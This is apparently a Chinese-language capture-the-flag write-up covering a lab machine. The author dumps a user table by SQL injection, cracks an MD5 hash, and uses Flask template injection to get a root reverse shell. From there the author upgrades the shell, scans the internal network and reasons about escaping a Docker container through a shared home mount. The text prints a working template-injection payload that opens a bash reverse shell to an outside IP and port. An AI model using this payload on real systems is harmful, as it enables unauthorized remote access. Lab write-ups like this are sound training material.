进来一个网页,没啥功能点,一时间卡住了

看了看这个靶场的介绍

原来是打sql注入

image-20250905113827188

数据库名main

image-20250905114005132

表名user

image-20250905114105078

列名email,password,name

image-20250905114230629

[email protected],47bce5c74f589f4867dbd57e9ca9f808

md5解密得到superadministrator,name为admin

登录上来之后右上角多了个齿轮,点进去

image-20250905114909221

一个可能要设置hosts的域名,在/etc/hosts里面加上域名到机器ip的解析即可进入,进来之后又是一个登录页面,用刚才的管理员号试试

进来发现有一些功能点,但是都没写逻辑,省了很多测的时间,这里是一个python的flask,尝试ssti

image-20250905115950776

接下来思考能不能通过ssti拿到shell

让gpt写一个命令

{{self.__init__.__globals__.__builtins__.__import__('os').popen("bash -c 'bash -i >& /dev/tcp/10.10.16.2/6666 0>&1'").read()}} 

成功拿到shell,甚至还是root

image-20250905120412661

但是进来之后root目录是空的,没有flag,但是只开了一台机器,也不太可能横向移动啊,flag会在哪呢

学到了,这玩意竟然是在docker里

image-20250905161851619

发现有一个172.19.0.2的接口,而我又是root,所以不是本机

image-20250905162036209

继续确认,没有augustus这个用户,所以可以确认了,当前机器在docker里

传fscan上去找一下主机

image-20250905162727669

尝试ssh登录,报错显示当前终端是stdin,也就是伪终端,接下来将伪终端变成真终端

# 在nc界面输入如下
script /dev/null -c bash
# Ctrl+Z任务挂起后回到本机,输入如下将其切回前台
stty raw -echo; fg
# 重启
reset
# 选择类型
screen

在/home/augustus目录,主机和docker的文件是同步的,相当于一个共享文件夹

虽然急着打完去健身,但是在这一步还是理了理思维,学到很有用的东西。首先,我们看到home有augus这个用户,但是在/etc/passwd里没见到,所以它可能是直接从主机里挂载过来的,所以下一步查找挂载

mount | grep augustus

所以才有下一步主机创文件docker给他授权这步操作

image-20250905170544527

image-20250905170523574

心中无难事,只要肯放弃